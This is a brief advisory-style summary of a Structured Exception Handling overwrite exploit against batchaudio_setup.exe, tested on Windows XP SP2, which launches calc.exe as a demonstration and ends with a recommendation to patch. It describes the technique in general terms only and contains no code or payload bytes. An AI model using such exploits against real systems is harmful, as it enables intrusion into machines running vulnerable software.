SEH vulnerability in batchaudio_setup.exe

This exploit takes advantage of a SEH (Structured Exception Handling) vulnerability in the batchaudio_setup.exe software. It uses a combination of junk data, a non-SEH overwrite (nseh), and a SEH overwrite (seh) to gain control of the program's execution flow. The exploit then executes a payload that opens the Windows calculator (calc.exe). The exploit has been tested on Windows XP SP2.

Mitigation:

To mitigate this vulnerability, it is recommended to update the software to a patched version that addresses the SEH vulnerability.
